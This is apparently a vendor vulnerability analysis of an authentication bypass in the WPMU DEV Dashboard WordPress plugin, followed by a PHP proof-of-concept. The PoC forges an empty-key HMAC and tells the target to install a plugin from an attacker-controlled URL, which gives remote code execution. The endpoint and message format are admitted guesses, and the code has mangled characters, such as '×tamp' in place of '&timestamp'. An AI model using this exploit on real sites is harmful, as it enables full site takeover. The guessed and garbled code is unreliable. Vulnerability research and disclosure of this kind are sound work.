Atomic Edge analysis of CVE-2026-15459 (metadata-based): This vulnerability allows an unauthenticated attacker to bypass authentication in the WPMU DEV Dashboard plugin (wpmudev-updates) version 5.0.0 and earlier. The flaw resides in the remote handler bound to the public init hook, specifically the ?wpmudev-hub= endpoint. When the site is not connected to the WPMU DEV Hub, the API key used to sign WDP_AUTH requests is empty, making the HMAC signature trivially forgeable. This leads to arbitrary plugin installation, which can escalate to remote code execution. The CVSS score is 8.1 (High) due to the high confidentiality, integrity, and availability impact.
The root cause, inferred from the CWE (Improper Authentication) and vulnerability description, is a combination of missing capability checks and an empty cryptographic key. The plugin’s validate_hash() function likely verifies the WDP_AUTH request signature using an HMAC based on the site API key. When the site is not connected, the key is an empty string, allowing an attacker to compute a valid HMAC for any payload. Version 5.0.0 also removed the replay protection in validate_nonce(), making the endpoint susceptible to replay attacks using captured requests. The remote handler is hooked to init without a permission check, so any unauthenticated user can trigger it. These details are confirmed from the description; the exact code path is inferred since no source diff is available.
Exploitation requires no prior authentication. An attacker crafts an HTTP request to the public-facing endpoint with a parameter such as wpmudev-hub or wpmudev_hub (the plugin slug suggests hub actions). The request includes a WDP_AUTH header or the wdp_auth parameter containing a forged HMAC signature. Because the API key is empty, the attacker can compute a valid signature using a known message and an empty secret. The attacker then sends an action such as install and activate a plugin from a URL under the attacker’s control. The plugin processes the request without validating user capability or nonce, executing the action and installing a malicious plugin, leading to arbitrary code execution.
Remediation requires patching the authentication mechanism. The plugin must enforce a non-empty API key before processing any Hub request, rejecting requests when the key is empty. Add a capability check to the remote handler, ensuring only users with install_plugins and activate_plugins capabilities can invoke these actions. Restore and enforce nonce or timestamp validation to prevent replay attacks. Always perform cryptographic signature verification using hashing algorithms that resist length-extension attacks, and never rely on a secret that can be empty.
The impact is critical. An unauthenticated attacker can install and activate a malicious plugin, achieving remote code execution with the privileges of the WordPress server. The attacker can also delete plugins and themes, upgrade WordPress core, or log in as an administrator via SSO. This can lead to full site compromise, data theft, website defacement, and further attacks on the server infrastructure. Sites connected to a WPMU DEV account with a non-empty API key are not affected.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-15459 - WPMU DEV Dashboard <= 5.0.0 - Authentication Bypass to Arbitrary Plugin Installation (Remote Code Execution) via Forged WDP_AUTH HMAC on ?wpmudev-hub= Endpoint
// This PoC demonstrates unauthenticated invocation of the vulnerable Hub endpoint with a forged HMAC signature.
// Assumptions:
// 1. The vulnerable endpoint is WordPress raw request with query parameter 'wpmudev-hub' OR 'wpmudev_hub' (plugin uses the former in the CVE title).
// 2. The WDP_AUTH token is passed via the 'Authorization' header or as a GET parameter named 'wdp_auth'.
// 3. The HMAC secret is an empty string because the site is not connected.
// 4. The endpoint accepts a 'action' parameter to specify the Hub action (e.g., 'install-plugin').
// 5. The plugin trusts the authenticated signature to authorize the action.
// The PoC calculates a valid HMAC-SHA256 using an empty key and sends it with a request to install a plugin from an attacker-controlled URL.
// Replace the $attacker_plugin_url with a ZIP file URL hosted on your server. Ensure the URL is reachable by the target.
// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$attacker_plugin_url = 'https://attacker.example.com/malicious-plugin.zip'; // URL to a plugin ZIP file
// Step 1: Construct the message that the plugin expects to sign.
// The exact format is unknown; we assume it includes the action and a timestamp to bypass any potential timestamp checks.
$action = 'install_plugin';
$timestamp = time();
$message = $action . $timestamp;
// Step 2: Compute the HMAC signature using an empty secret (vacant API key).
$secret = ''; // Empty secret because the site is not connected
$signature = hash_hmac('sha256', $message, $secret);
// Step 3: Build the HTTP request to the vulnerable endpoint.
// The endpoint is likely a raw WordPress request: /index.php?wpmudev-hub=1
$endpoint = $target_url . '/index.php?wpmudev-hub=1&action=' . urlencode($action) . '×tamp=' . $timestamp . '&wdp_auth=' . urlencode($signature);
// Step 4: Send the request using cURL, including the forged authentication header.
$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Authorization: Basic ' . base64_encode('wdp_auth:' . $signature),
'WDP-AUTH: ' . $signature
));
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
'plugin_url' => $attacker_plugin_url
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 5: Check the response.
if ($http_code == 200) {
echo "[+] Exploit sent successfully. Check target site for plugin installation.n";
echo "[+] Response body (first 500 chars):n" . substr($response, 0, 500) . "n";
} else {
echo "[!] Exploit failed. HTTP code: " . $http_code . "n";
echo "[!] Response: " . substr($response, 0, 500) . "n";
}
?>
